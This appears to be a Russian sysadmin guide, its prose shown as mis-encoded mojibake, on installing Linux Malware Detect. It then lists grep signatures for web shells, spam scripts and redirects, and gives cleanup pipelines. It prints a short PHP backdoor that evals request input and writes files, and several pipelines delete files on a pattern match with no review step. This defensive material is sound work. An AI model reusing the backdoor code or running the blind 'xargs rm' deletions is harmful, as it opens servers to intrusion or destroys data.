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   ÐŸÐ¾Ð¸Ñ•Ðº Ð²Ð¸Ñ€ÑƒÑ•Ð¾Ð² Ñ• Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ Linux Malware Detect 
  Ð’Ð²ÐµÐ´ÐµÐ½Ð¸Ðµ 

Linux Malware Detect (LMD) Ð¸Ð»Ð¸ maldet - Ñ•Ñ‚Ð¾
Ñ•Ð¿ÐµÑ†Ð¸Ð°Ð»Ð¸Ð·Ð¸Ñ€Ð¾Ð²Ð°Ð½Ð½Ñ‹Ð¹ Ð¸Ð½Ñ•Ñ‚Ñ€ÑƒÐ¼ÐµÐ½Ñ‚ Ð´Ð»Ñ•
Ð¿Ð¾Ð¸Ñ•ÐºÐ° Ð²Ð¸Ñ€ÑƒÑ•Ð¾Ð², Ñ•Ð¿Ð°Ð¼-Ñ•ÐºÑ€Ð¸Ð¿Ñ‚Ð¾Ð², Ð²ÐµÐ±-ÑˆÐµÐ»Ð»Ð¾Ð²
Ð¸ Ð¿Ñ€Ð¾Ñ‡ÐµÐ³Ð¾ Ð²Ñ€ÐµÐ´Ð¾Ð½Ð¾Ñ•Ð½Ð¾Ð³Ð¾ ÐºÐ¾Ð´Ð° Ð² Ñ„Ð°Ð¹Ð»Ð°Ñ…
Ñ•Ð°Ð¹Ñ‚Ð¾Ð².
 ÐžÐ½ Ð¼Ð¾Ð¶ÐµÑ‚ Ñ•Ð¾Ð·Ð´Ð°Ð²Ð°Ñ‚ÑŒ Ð¾Ñ‚Ñ‡ÐµÑ‚Ñ‹ Ð¸ Ð»ÐµÑ‡Ð¸Ñ‚ÑŒ
Ð¸Ð½Ñ„Ð¸Ñ†Ð¸Ñ€Ð¾Ð²Ð°Ð½Ð½Ñ‹Ðµ Ñ„Ð°Ð¹Ð»Ñ‹.  
  Ð£Ñ•Ñ‚Ð°Ð½Ð¾Ð²ÐºÐ° 

Ð£Ñ•Ñ‚Ð°Ð½Ð¾Ð²ÐºÐ° Ð´Ð»Ñ• CentOS Ð¸ Debian Ð¾Ð´Ð¸Ð½Ð°ÐºÐ¾Ð²Ð°: cd /root
 wget http://www.rfxn.com/downloads/maldetect-current.tar.gz
 tar -zxvf maldetect-current.tar.gz
 cd maldetect-*/
 bash install.sh
 
Ð£Ñ•Ñ‚Ð°Ð½Ð¾Ð²Ð¾Ñ‡Ð½Ñ‹Ð¹ Ñ•ÐºÑ€Ð¸Ð¿Ñ‚ ÐºÐ»Ð°Ð´ÐµÑ‚ Ð¸Ñ•Ð¿Ð¾Ð»Ð½Ñ•ÐµÐ¼Ñ‹Ð¹
Ñ„Ð°Ð¹Ð» Ð² /usr/local/maldetect/maldet Ð¸ Ð´ÐµÐ»Ð°ÐµÑ‚ Ð½Ð° Ð½ÐµÐ³Ð¾
Ñ•Ð¸Ð¼Ð²Ð¾Ð»Ð¸Ñ‡ÐµÑ•ÐºÑƒÑŽ Ñ•Ñ•Ñ‹Ð»ÐºÑƒ /usr/local/sbin/maldet. 

Ð¢Ð°ÐºÐ¶Ðµ Ñ•ÐºÑ€Ð¸Ð¿Ñ‚ Ñ•Ð¾Ð·Ð´Ð°ÐµÑ‚ Ñ„Ð°Ð¹Ð» /usr/lib/libinotifytools.so.0.
Ð¡Ð¾Ð·Ð´Ð°ÐµÑ‚Ñ•Ñ• ÐµÐ¶ÐµÐ´Ð½ÐµÐ²Ð½Ð¾Ðµ cron-Ð·Ð°Ð´Ð°Ð½Ð¸Ðµ Ð²
/etc/cron.daily/maldet 
Ð¡Ñ€Ð°Ð·Ñƒ Ð¶Ðµ Ð¾Ð±Ð½Ð¾Ð²Ð»Ñ•ÑŽÑ‚Ñ•Ñ• Ð±Ð°Ð·Ñ‹ Ñ•Ð¸Ð³Ð½Ð°Ñ‚ÑƒÑ€. 
ÐšÐ¾Ð½Ñ„Ð¸Ð³ÑƒÑ€Ð°Ñ†Ð¸Ð¾Ð½Ð½Ñ‹Ð¹ Ñ„Ð°Ð¹Ð»: /usr/local/maldetect/conf.maldet 
Ð£Ð´Ð°Ð»ÐµÐ½Ð¸Ðµ Ð¿Ñ€Ð¾Ð³Ñ€Ð°Ð¼Ð¼Ñ‹ Ñ• Ñ•ÐµÑ€Ð²ÐµÑ€Ð°: rm -rf
/usr/local/maldetect/  /etc/cron.daily/maldet /usr/local/sbin/maldet
/usr/local/sbin/lmd
 

  Ð˜Ñ•Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ðµ 

Ð—Ð°Ð¿ÑƒÑ•Ðº Ñ•ÐºÐ°Ð½Ð¸Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ• Ñ•Ñ‚Ð°Ð½Ð´Ð°Ñ€Ñ‚Ð½Ñ‹Ñ… Ð¿ÑƒÑ‚ÐµÐ¹,
ÐµÑ•Ð»Ð¸ Ñƒ Ð²Ð°Ñ• ÑƒÑ•Ñ‚Ð°Ð½Ð¾Ð²Ð»ÐµÐ½Ð° Ð¿Ð°Ð½ÐµÐ»ÑŒ
ÑƒÐ¿Ñ€Ð°Ð²Ð»ÐµÐ½Ð¸Ñ• ISPmanager: maldet -a /var/www/*/data/www
 
Ð¡ÐºÐ°Ð½Ð¸Ñ€Ð¾Ð²Ð°Ñ‚ÑŒ Ñ‚Ð¾Ð»ÑŒÐºÐ¾ Ñ„Ð°Ð¹Ð»Ñ‹, Ð¸Ð·Ð¼ÐµÐ½ÐµÐ½Ð½Ñ‹Ðµ Ð·Ð°
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Ð¿Ð¾Ñ•Ð»ÐµÐ´Ð½Ð¸Ðµ 5 Ð´Ð½ÐµÐ¹: maldet -r /var/www/*/data/www 5
 
ÐŸÐ¾ Ð·Ð°Ð²ÐµÑ€ÑˆÐµÐ½Ð¸Ð¸ Ñ•ÐºÐ°Ð½Ð¸Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ• Ð±ÑƒÐ´ÐµÑ‚
Ð²Ñ‹Ð²ÐµÐ´ÐµÐ½Ð¾ Ð¾Ð±Ñ‰ÐµÐµ ÐºÐ¾Ð»Ð¸Ñ‡ÐµÑ•Ñ‚Ð²Ð¾
Ð¿Ñ€Ð¾Ñ•ÐºÐ°Ð½Ð¸Ñ€Ð¾Ð²Ð°Ð½Ð½Ñ‹Ñ… Ñ„Ð°Ð¹Ð»Ð¾Ð², ÐºÐ¾Ð»Ð¸Ñ‡ÐµÑ•Ñ‚Ð²Ð¾
Ð¸Ð½Ñ„Ð¸Ñ†Ð¸Ñ€Ð¾Ð²Ð°Ð½Ð½Ñ‹Ñ… Ð¸ ÐºÐ¾Ð»Ð¸Ñ‡ÐµÑ•Ñ‚Ð²Ð¾
Ð¸Ð·Ð»ÐµÑ‡ÐµÐ½Ð½Ñ‹Ñ… Ñ„Ð°Ð¹Ð»Ð¾Ð². 

Ð¢Ð°ÐºÐ¶Ðµ Ð±ÑƒÐ´ÐµÑ‚ Ð²Ñ‹Ð²ÐµÐ´ÐµÐ½ Ð½Ð¾Ð¼ÐµÑ€ Ð¾Ñ‚Ñ‡ÐµÑ‚Ð°,
ÐºÐ¾Ñ‚Ð¾Ñ€Ñ‹Ð¹ Ð¼Ð¾Ð¶Ð½Ð¾ Ð¿Ð¾Ñ•Ð¼Ð¾Ñ‚Ñ€ÐµÑ‚ÑŒ ÐºÐ¾Ð¼Ð°Ð½Ð´Ð¾Ð¹,
Ð½Ð°Ð¿Ñ€Ð¸Ð¼ÐµÑ€: maldet --report 040515-0743.23617
  
ÐžÐ±Ð½Ð¾Ð²Ð¸Ñ‚ÑŒ Ð±Ð°Ð·Ñ‹ Ñ•Ð¸Ð³Ð½Ð°Ñ‚ÑƒÑ€:  maldet -u
  
ÐŸÐµÑ€ÐµÐ¼ÐµÑ•Ñ‚Ð¸Ñ‚ÑŒ Ð½Ð°Ð¹Ð´ÐµÐ½Ð½Ñ‹Ðµ Ð·Ð°Ñ€Ð°Ð¶ÐµÐ½Ð½Ñ‹Ðµ Ñ„Ð°Ð¹Ð»Ñ‹
Ð² ÐºÐ°Ñ€Ð°Ð½Ñ‚Ð¸Ð½ (Ð² ÐºÐ°Ñ‚Ð°Ð»Ð¾Ð³ /usr/local/maldetect/quarantine):  maldet -q
040615-0925.31477
  
Ð’Ñ‹Ñ‚Ð°Ñ‰Ð¸Ñ‚ÑŒ Ñ„Ð°Ð¹Ð»Ñ‹ Ð¸Ð· ÐºÐ°Ñ€Ð°Ð½Ñ‚Ð¸Ð½Ð°:  maldet -s
040615-0925.31477
  
ÐŸÑ€Ð¾Ð±Ð¾Ð²Ð°Ñ‚ÑŒ Ð¾Ñ‡Ð¸Ñ•Ñ‚Ð¸Ñ‚ÑŒ Ð·Ð°Ñ€Ð°Ð¶ÐµÐ½Ð½Ñ‹Ðµ Ñ„Ð°Ð¹Ð»Ñ‹ Ð¾Ñ‚
Ð²Ñ€ÐµÐ´Ð¾Ð½Ð¾Ñ•Ð½Ñ‹Ñ… Ð²Ñ•Ñ‚Ð°Ð²Ð¾Ðº ÐºÐ¾Ð´Ð°: maldet -n 040615-0925.31477
 
Ð”Ð¾Ð±Ð°Ð²Ð¸Ñ‚ÑŒ Ð²Ñ€ÐµÐ´Ð¾Ð½Ð¾Ñ•Ð½Ñ‹Ð¹ ÐºÐ¾Ð´ Ð² Ð±Ð°Ð·Ñƒ Ñ•Ð¸Ð³Ð½Ð°Ñ‚ÑƒÑ€
maldet: maldet -c badfile.php
 

  Ð•Ð°Ñ•Ñ‚Ñ€Ð¾Ð¹ÐºÐ° 

Ð•Ð°Ñ•Ñ‚Ñ€Ð¾Ð¸Ð¼ Ð°Ð²Ñ‚Ð¾Ð¼Ð°Ñ‚Ð¸Ñ‡ÐµÑ•ÐºÐ¸Ð¹ Ð·Ð°Ð¿ÑƒÑ•Ðº maldet Ð¿Ð¾
ÐµÐ¶ÐµÐ´Ð½ÐµÐ²Ð½Ð¾Ð¼Ñƒ Ñ€Ð°Ñ•Ð¿Ð¸Ñ•Ð°Ð½Ð¸ÑŽ cron. 
ÐŸÑ€Ð°Ð²Ð¸Ð¼ ÐºÐ¾Ð½Ñ„Ð¸Ð³ /usr/local/maldetect/conf.maldet: # ÐµÑ•Ð»Ð¸ Ñ…Ð¾Ñ‚Ð¸Ð¼
Ð¿Ð¾Ð»ÑƒÑ‡Ð°Ñ‚ÑŒ ÑƒÐ²ÐµÐ´Ð¾Ð¼Ð»ÐµÐ½Ð¸Ñ• Ð½Ð° Ð¿Ð¾Ñ‡Ñ‚Ñƒ
 email_alert=1
 email_subj="maldet alert from $(hostname)"
 email_addr="Ð²Ð°ÑˆÐ°@Ð¿Ð¾Ñ‡Ñ‚Ð°.com"
 # Ð¿Ð¾Ð¼ÐµÑ‰Ð°Ñ‚ÑŒ Ñ„Ð°Ð¹Ð»Ñ‹ Ð² ÐºÐ°Ñ€Ð°Ð½Ñ‚Ð¸Ð½
 quar_hits=1
 # Ð¸Ñ•Ð¿Ð¾Ð»ÑŒÐ·ÑƒÐµÐ¼ Ð´Ð²Ð¸Ð¶Ð¾Ðº clamav Ð´Ð»Ñ• ÑƒÑ•ÐºÐ¾Ñ€ÐµÐ½Ð¸Ñ•
Ð¿Ð¾Ð¸Ñ•ÐºÐ°
 clamav_scan=1
 
Ð’Ð½Ð¾Ñ•Ð¸Ð¼ Ð¸Ð·Ð¼ÐµÐ½ÐµÐ½Ð¸Ñ• Ð² crontab-Ñ„Ð°Ð¹Ð» Ð´Ð»Ñ• Ñ‚Ð¾Ð³Ð¾,
Ñ‡Ñ‚Ð¾Ð±Ñ‹ Ñ•ÐºÐ°Ð½Ð¸Ñ€Ð¾Ð²Ð°Ð»Ð¸Ñ•ÑŒ Ð´Ð¸Ñ€ÐµÐºÑ‚Ð¾Ñ€Ð¸Ð¸ Ñ• Ñ•Ð°Ð¹Ñ‚Ð°Ð¼Ð¸
Ð¿Ñ€Ð¸ ÑƒÑ•Ñ‚Ð°Ð½Ð¾Ð²Ð»ÐµÐ½Ð½Ð¾Ð¼ ISPmanager: vi /etc/cron.daily/maldet
 
Ð£Ð´Ð°Ð»Ñ•ÐµÐ¼ Ñ•Ñ‚Ñ€Ð¾ÐºÐ¸ Ð¿Ð¾Ñ•Ð»Ðµ: if [ "$(ps -A --user root -o "comm" |
grep inotifywait)" ]; then
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        /usr/local/maldetect/maldet --alert-daily >> /dev/null 2>&1
 else
 
Ð’Ñ•Ñ‚Ð°Ð²Ð»Ñ•ÐµÐ¼:        # Ñ•Ñ‚Ð°Ð½Ð´Ð°Ñ€Ñ‚Ð½Ñ‹Ðµ Ð¿ÑƒÑ‚Ð¸ ISPmanager
        if [ -d "/var/www" ]; then
                /usr/local/maldetect/maldet -b -r /var/www/?/data/www 2 >>
/dev/null 2>&1
        fi
 fi
 

  ÐŸÑ€Ð¾Ð²ÐµÑ€ÐºÐ° Ñ„Ð°Ð¹Ð»Ð¾Ð² Ñ•Ð°Ð¹Ñ‚Ð¾Ð² Ð±ÐµÐ·
ÑƒÑ•Ñ‚Ð°Ð½Ð¾Ð²ÐºÐ¸ Linux Malware Detect Ð½Ð°
Ñ•ÐµÑ€Ð²ÐµÑ€ 
cd /root
 wget http://www.rfxn.com/downloads/maldetect-current.tar.gz
 tar -zxvf maldetect-current.tar.gz
 cd maldetect-1.4.2/files
 
Ð£Ñ•Ñ‚Ð°Ð½Ð°Ð²Ð»Ð¸Ð²Ð°ÐµÐ¼ Ð·Ð½Ð°Ñ‡ÐµÐ½Ð¸Ðµ Ð¿ÐµÑ€ÐµÐ¼ÐµÐ½Ð½Ð¾Ð¹ Ð´Ð»Ñ•
Ñ€Ð°Ð·Ñ€ÐµÑˆÐµÐ½Ð¸Ñ• Ð·Ð°Ð¿ÑƒÑ•ÐºÐ° Ñ•ÐºÑ€Ð¸Ð¿Ñ‚Ð° Ð¾Ñ‚
Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»Ñ•: vi conf.maldet
 public_scan=1
 
Ð˜Ð·Ð¼ÐµÐ½Ñ•ÐµÐ¼ ÐºÐ°Ñ‚Ð°Ð»Ð¾Ð³, ÐºÑƒÐ´Ð° Ð´Ð¾Ð»Ð¶Ð½Ð°
ÑƒÑ•Ñ‚Ð°Ð½Ð°Ð²Ð»Ð¸Ð²Ð°Ñ‚ÑŒÑ•Ñ• Ð¿Ñ€Ð¾Ð³Ñ€Ð°Ð¼Ð¼Ð°, Ð½Ð° Ñ‚ÐµÐºÑƒÑ‰Ð¸Ð¹
ÐºÐ°Ñ‚Ð°Ð»Ð¾Ð³. ÐŸÑ€Ð°Ð²Ð¸Ð¼ Ñ•ÐºÑ€Ð¸Ð¿Ñ‚ maldet: vi maldet
 
ÐœÐµÐ½Ñ•ÐµÐ¼ inspath=/usr/local/maldetect
 
Ð½Ð° inspath=$PWD
 
Ð—Ð°Ð¿ÑƒÑ•ÐºÐ°ÐµÐ¼ maldet Ð¿Ñ€Ñ•Ð¼Ð¾ Ð¸Ð· Ð´Ð¸Ñ€ÐµÐºÑ‚Ð¾Ñ€Ð¸Ð¸
/root/maldetect-1.4.2/files: ./maldet -h
 

 ÐŸÐ¾Ð¸Ñ•Ðº Ñ•ÐºÑ€Ð¸Ð¿Ñ‚Ð¾Ð²,
Ñ€Ð°Ñ•Ñ•Ñ‹Ð»Ð°ÑŽÑ‰Ð¸Ñ… Ñ•Ð¿Ð°Ð¼ Ð¸
Ñ„Ð°Ð¹Ð»Ð¾Ð² Ð±Ð¾Ñ‚Ð½ÐµÑ‚Ð° Zeus, Exploit Kit
Redirect
ÐšÐ¾Ð¼Ð°Ð½Ð´Ð°, ÐºÐ¾Ñ‚Ð¾Ñ€Ð°Ñ• Ð½Ðµ ÑƒÐ´Ð°Ð»Ð¸Ñ‚ Ð½Ð¸Ñ‡ÐµÐ³Ð¾
Ð»Ð¸ÑˆÐ½ÐµÐ³Ð¾: # grep -Rils --include=*.php -e ' n7b0ecdff' -e
'CmlmKGlzc2V0KCRfUE9TVFsiY29k' ./* | xargs rm
 
Ð­Ñ‚Ð° ÐºÐ¾Ð¼Ð°Ð½Ð´Ð° Ð½Ð°Ð¹Ð´ÐµÑ‚ Ð²Ð¾Ð·Ð¼Ð¾Ð¶Ð½Ñ‹Ðµ
Ñ•Ð¿Ð°Ð¼-Ñ•ÐºÑ€Ð¸Ð¿Ñ‚Ñ‹ Ð¸ Ñ•Ð¾Ñ…Ñ€Ð°Ð½Ð¸Ñ‚ Ð¸Ñ… Ñ•Ð¿Ð¸Ñ•Ð¾Ðº Ð² Ñ„Ð°Ð¹Ð»
spam_scripts Ð² Ð´Ð¸Ñ€ÐµÐºÑ‚Ð¾Ñ€Ð¸Ð¸, Ð³Ð´Ðµ Ð²Ñ‹ Ñ•ÐµÐ¹Ñ‡Ð°Ñ•
Ð½Ð°Ñ…Ð¾Ð´Ð¸Ñ‚ÐµÑ•ÑŒ: # grep -Rils --include=*.php -e '@$emaillist=$_POST' -e
'$emaillist=' -e '$smtp_username=' -e '$smtp_password=' -e 'Sender Anonym Email'
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./* > spam_scripts
 
Ð­Ñ‚Ð° ÐºÐ¾Ð¼Ð°Ð½Ð´Ð° Ð½Ð°Ð¹Ð´ÐµÑ‚ Ñ€Ð°Ð·Ð»Ð¸Ñ‡Ð½Ñ‹Ðµ
Ð±Ð¾Ñ‚Ð½ÐµÑ‚Ð¾Ð²Ñ•ÐºÐ¸Ðµ Ñ€ÐµÐ´Ð¸Ñ€ÐµÐºÑ‚Ñ‹, Ð¸ Ñ•Ð¾Ñ…Ñ€Ð°Ð½Ð¸Ñ‚ Ð¸Ñ…
Ñ•Ð¿Ð¸Ñ•Ð¾Ðº Ð² Ñ„Ð°Ð¹Ð» redirects Ð² Ð´Ð¸Ñ€ÐµÐºÑ‚Ð¾Ñ€Ð¸Ð¸, Ð³Ð´Ðµ Ð²Ñ‹ Ñ•ÐµÐ¹Ñ‡Ð°Ñ•
Ð½Ð°Ñ…Ð¾Ð´Ð¸Ñ‚ÐµÑ•ÑŒ: # grep -Rils --include=*.{php,htm,html} -e
'if(md5(md5($' -e 'h1>Loading...' -e 'b>Please wait a moment ... You will be
forwarded. 
<' -e '... Please wait...</h3' -e 'You are here because one of your friends has
invited you...
Redirecting...' -e 'bankofamerica' -e 'http://hellosomeguys' -e
'rldailynews.com' -e 'http://.*doctor.*.com' -e '--81a338--' -e '; it.src = '
./* > redirects 
 
Ð’ Ñ€ÐµÐ·ÑƒÐ»ÑŒÑ‚Ð°Ñ‚Ðµ Ð²Ñ‹Ð¿Ð¾Ð»Ð½ÐµÐ½Ð¸Ñ• Ñ•Ñ‚Ð¸Ñ… ÐºÐ¾Ð¼Ð°Ð½Ð´, Ð²Ñ‹
Ð¿Ð¾Ð»ÑƒÑ‡Ð¸Ñ‚Ðµ Ð´Ð²Ð° Ñ•Ð¿Ð¸Ñ•ÐºÐ° Ñ„Ð°Ð¹Ð»Ð¾Ð², ÐºÐ¾Ñ‚Ð¾Ñ€Ñ‹Ðµ
Ð½ÐµÐ¾Ð±Ñ…Ð¾Ð´Ð¸Ð¼Ð¾ Ð²Ñ€ÑƒÑ‡Ð½ÑƒÑŽ Ð¿Ñ€Ð¾Ð²ÐµÑ€Ð¸Ñ‚ÑŒ: ÐµÑ•Ð»Ð¸
Ñ•Ñ€ÐµÐ´Ð¸ Ð½Ð¸Ñ… Ð½ÐµÑ‚ Ð½ÑƒÐ¶Ð½Ñ‹Ñ… Ñ„Ð°Ð¹Ð»Ð¾Ð², Ñ‚Ð¾ Ð²Ñ‹ Ð¼Ð¾Ð¶ÐµÑ‚Ðµ
ÑƒÐ´Ð°Ð»Ð¸Ñ‚ÑŒ Ð²Ñ•Ðµ Ñ„Ð°Ð¹Ð»Ñ‹ Ð¸Ð· Ñ•Ð¿Ð¸Ñ•ÐºÐ°. 
 ÐŸÐ¾Ð¸Ñ•Ðº Ñ€Ð°Ð·Ð»Ð¸Ñ‡Ð½Ñ‹Ñ… malware
Ñ•ÐºÑ€Ð¸Ð¿Ñ‚Ð¾Ð²
Ð­Ñ‚Ð° ÐºÐ¾Ð¼Ð°Ð½Ð´Ð° Ð½Ð°Ð¹Ð´ÐµÑ‚ Shell'Ñ‹ Ð½Ð° Ñ•Ð°Ð¹Ñ‚Ð°Ñ…, Ð¸
Ñ•Ð¾Ñ…Ñ€Ð°Ð½Ð¸Ñ‚ Ð¸Ñ… Ñ•Ð¿Ð¸Ñ•Ð¾Ðº Ð² Ñ„Ð°Ð¹Ð» malware1 Ð²
Ð´Ð¸Ñ€ÐµÐºÑ‚Ð¾Ñ€Ð¸Ð¸, Ð³Ð´Ðµ Ð²Ñ‹ Ñ•ÐµÐ¹Ñ‡Ð°Ñ• Ð½Ð°Ñ…Ð¾Ð´Ð¸Ñ‚ÐµÑ•ÑŒ. 

Ð¢Ð°Ðº ÐºÐ°Ðº Ñ‚Ð°ÐºÐ°Ñ• ÐºÐ¾Ð¼Ð°Ð½Ð´Ð° Ð¼Ð¾Ð¶ÐµÑ‚ Ð·Ð°Ð½Ñ•Ñ‚ÑŒ
Ð´Ð¾Ð²Ð¾Ð»ÑŒÐ½Ð¾ Ð¿Ñ€Ð¾Ð´Ð¾Ð»Ð¶Ð¸Ñ‚ÐµÐ»ÑŒÐ½Ð¾Ðµ Ð²Ñ€ÐµÐ¼Ñ•,
Ð¿Ð¾Ñ•Ñ‚Ð¾Ð¼Ñƒ Ð² ÐµÐµ ÐºÐ¾Ð½Ñ†Ðµ Ñ•Ñ‚Ð¾Ð¸Ñ‚ Ð·Ð½Ð°Ðº &, Ñ•Ñ‚Ð¾
Ð¿Ð¾Ð·Ð²Ð¾Ð»Ð¸Ñ‚ Ð¿Ñ€Ð¾Ð´Ð¾Ð»Ð¶Ð¸Ñ‚ÑŒ Ñ€Ð°Ð±Ð¾Ñ‚Ñƒ Ñ• ÐºÐ¾Ð½Ñ•Ð¾Ð»ÑŒÑŽ. 
# grep -Rils --include=*.{php,htm,html} -e 'FilesMan' -e 'b=4594' -e 'e2aa4e' -e
'v58f57b98 = 0' -e 'forexam@pandion.im' -e 'pathToDomains'
Â -e 'if(navigator.userAgent.match(' -e 'var vst = String.fromCharCode' -e
'Menu_files/jquery.js' -e 'i5463 == null' -e 'r57.gen.tr' -e '/rsize.js' -e 
'feelthesame.changeip.name' -e '40,101,115,110,98,114,105,110' -e 'c99sh' -e
'Shell by' -e ' sh_ver' -e '.tcpflood' -e 'c999sh' -e 'Array(base64_decode' -e
Â 'Attacker Perl File' -e 'bogel = ' -e '(!function_exists("getmicrotime"))'
-e'$d=substr' -e 'WSO ' -e 'r57shell' -e 'msg=
@gzinflate(@base64_decode(@str_replace' -e '6POkiojiO7iY3ns1rn8' -e '
mysql_safe' -e 'sql2_safe' -e 'aHR0cDovLzE3OC4yMTEu' -e 'php function _' -e
'encodeURIComponent(document.URL)
' -e '; if(isset($_REQUEST' -e 'UdpFlood' -e 'udp://1.1.1.1' -e ' (md5($_POST['
-e 'header("Location: http' -e 'fx29sh_' -e 'c999sh_surl' -e 'c99sh' -e
'/request12.php' -e
Â 'NlOThmMjgyODM0NjkyODdiYT' ./* > malware1 &
 
Ð­Ñ‚Ð° ÐºÐ¾Ð¼Ð°Ð½Ð´Ð° Ð½Ð°Ð¹Ð´ÐµÑ‚ Ñ€Ð°Ð·Ð»Ð¸Ñ‡Ð½Ñ‹Ðµ malware Ð² php
Ñ•ÐºÑ€Ð¸Ð¿Ñ‚Ð°Ñ… Ð½Ð° Ñ•Ð°Ð¹Ñ‚Ð°Ñ…, Ð¸ Ñ•Ð¾Ñ…Ñ€Ð°Ð½Ð¸Ñ‚ Ð¸Ñ… Ñ•Ð¿Ð¸Ñ•Ð¾Ðº Ð²
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Ñ„Ð°Ð¹Ð» malware2 Ð² Ð´Ð¸Ñ€ÐµÐºÑ‚Ð¾Ñ€Ð¸Ð¸, Ð³Ð´Ðµ Ð²Ñ‹ Ñ•ÐµÐ¹Ñ‡Ð°Ñ•
Ð½Ð°Ñ…Ð¾Ð´Ð¸Ñ‚ÐµÑ•ÑŒ. Ð’Ñ‹Ð¿Ð¾Ð»Ð½ÐµÐ½Ð¸Ðµ Ñ•Ñ‚Ð¾Ð¹ ÐºÐ¾Ð¼Ð°Ð½Ð´Ñ‹, Ñ‚Ð°Ðº
Ð¶Ðµ ÐºÐ°Ðº Ð¸ Ð¿Ñ€ÐµÐ´Ñ‹Ð´ÑƒÑ‰ÐµÐ¹, Ð¼Ð¾Ð¶ÐµÑ‚ Ð·Ð°Ð½Ñ•Ñ‚ÑŒ
Ð¿Ñ€Ð¾Ð´Ð¾Ð»Ð¶Ð¸Ñ‚ÐµÐ»ÑŒÐ½Ð¾Ðµ Ð²Ñ€ÐµÐ¼Ñ•, Ð¿Ð¾Ñ•Ñ‚Ð¾Ð¼Ñƒ Ð² ÐµÐµ
ÐºÐ¾Ð½Ñ†Ðµ Ñ•Ñ‚Ð¾Ð¸Ñ‚ &: # grep -Rils --include=*.php -e 'JGNvZGUgPSBiYXNlN' -e
'DQplcnJ' -e 'eval(gzinflate(base64_decode' -e 
'eval(gzinflate(str_rot13(base64_decode(' -e 'eval(gzuncompress(base64_decode('
-e 'eNrtfWt72zbS6Of6VyBcZSk1uviSS2vFTl1Haf' -e 
'JpdGVDb25kICV7SFRUUF9VU0VSX0FHRU5' -e 'JHNoX2lkID0gIld5QW1aR0ZuWjJWeU95Q' -e
'sDdphXZgsTKddSYnsFVT9EUfRCI' -e 'QBDB51E25BF9A7F3D2475072803D1C36D' 
-e 'Yzk5c2hlbGwucGhw' -e 'aHR0cDovL3d3dy5zb21lLWNvZGUvZXhwbG9pdHMuYw' -e
'aWYgKChwcmVnX21hdGNoKCcvdGV4dFwvdm5kL' -e 'QfgsDdphXZgsTKog2c1x' -e
'QGVycm9yX3JlcG9ydGluZygwKTsg' -e 'JHNoX2lkID0gIlQzZHVaV1' 
-e 'rUl6QttVEP58lfoflr' -e 'jVNtT9tADP4' -e 'c2V0X3RpbWVf' -e
'UFycmF5KGJhc2U2NF9kZWNvZGUo' -e 'pZLfasMgFMbvB3sHK4UolLKNXa3r' -e 'nVNdi9swEHw'
-e 'JHl5eU5CTnJLZk5TeUdyaX' -e 'JZvHbsRIlkX39SNdBS5okwbd0wV6n' 
-e '8<[@7MGLKMs' -e 'DVU1EuQGEHyO70qBWKst' -e '@432LKMs' -e 'QfgsDdphXZgsTKog'
-e 'ZGVmaW5lKCdBS0lTTUVUX1' ./* > malware2 & 
 
Ð­Ñ‚Ð° ÐºÐ¾Ð¼Ð°Ð½Ð´Ð° Ð½Ð°Ð¹Ð´ÐµÑ‚ Ñ€Ð°Ð·Ð»Ð¸Ñ‡Ð½Ñ‹Ðµ malware Ð² java
Ñ•ÐºÑ€Ð¸Ð¿Ñ‚Ð°Ñ… Ð½Ð° Ñ•Ð°Ð¹Ñ‚Ð°Ñ…. Ð¡Ð¿Ð¸Ñ•Ð¾Ðº Ð²Ñ‹Ð²ÐµÐ´ÐµÑ‚ Ñ•Ñ€Ð°Ð·Ñƒ: #
grep -Rils --include=*.js -e '%3C%73%63%72%69%70%74%20%74%79%70' -e
'kSKlBXYjNXZfhSZwF2YzVmb1h' ./*
 

 ÐŸÑ€Ð¾Ð²ÐµÑ€ÐºÐ° Ð¸
Ñ‡Ð¸Ñ•Ñ‚ÐºÐ°/ÑƒÐ´Ð°Ð»ÐµÐ½Ð¸Ðµ
Ð½Ð°Ð¹Ð´ÐµÐ½Ð½Ñ‹Ñ… Ñ•ÐºÑ€Ð¸Ð¿Ñ‚Ð¾Ð²
ÐŸÐ¾Ñ•Ð»Ðµ  Ð¿Ð¾Ð»ÑƒÑ‡ÐµÐ½Ð¸Ñ• Ñ•Ð¿Ð¸Ñ•ÐºÐ° Ð·Ð°Ñ€Ð°Ð¶ÐµÐ½Ð½Ñ‹Ñ…
Ñ„Ð°Ð¹Ð»Ð¾Ð² Ð½Ð°Ñ•Ñ‚Ð°Ð»Ð¾ Ð²Ñ€ÐµÐ¼Ñ• Ð¸Ñ… Ð¿Ð¾Ñ‡Ð¸Ñ•Ñ‚Ð¸Ñ‚ÑŒ. 
malware1: cat malware1 | grep -v 'public_html' | grep -v 'webstat' | xargs grep
-Rils 'FilesMan' | 
 xargs grep -Rils "sDdphXZgsTKddSYnsF" | xargs sed -i "" -e "/auth_pass =/d" &
 cat malware1 | grep -v 'public_html' | grep -v 'webstat' | xargs grep -Rils
'FilesMan' | 
 xargs grep -Rils "sDdphXZgsTKddSYnsF" | xargs sed -i "" -e
"/sDdphXZgsTKddSYnsF/d" &
 cat malware1 | grep -v 'public_html' | grep -v 'webstat' | xargs grep -Rils
'FilesMan' | xargs rm &
 
Ð¡Ð»ÐµÐ´ÑƒÑŽÑ‰Ð°Ñ• ÐºÐ¾Ð¼Ð°Ð½Ð´Ð° ÑƒÐ´Ð°Ð»Ñ•ÐµÑ‚ Ñ•ÐºÑ€Ð¸Ð¿Ñ‚Ñ‹ Ñ•
Ð¿Ð¾Ð´Ð¾Ð±Ð½Ñ‹Ð¼ ÐºÐ¾Ð´Ð¾Ð¼: <?php $awff =
"a9b193d36245fc6a750a75eb594a3c70"; if(isset($_REQUEST['vpyu'])) { $wwyioqi =
$_REQUEST['vpyu'];
 eval($wwyioqi); exit(); } if(isset($_REQUEST['yccqdyb'])) { $mhvwg =
$_REQUEST['qipseeqy'];
 $mvwvjnec = $_REQUEST['yccqdyb']; $gfcked = fopen($mvwvjnec, 'w'); $qllnske =
fwrite($gfcked, $mhvwg);
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 fclose($gfcked); echo $qllnske; exit(); }?>
 cat malware1 | xargs grep -Rils ' = fopen($' | xargs grep -Rils ' = fwrite($' |
xargs rm &
 
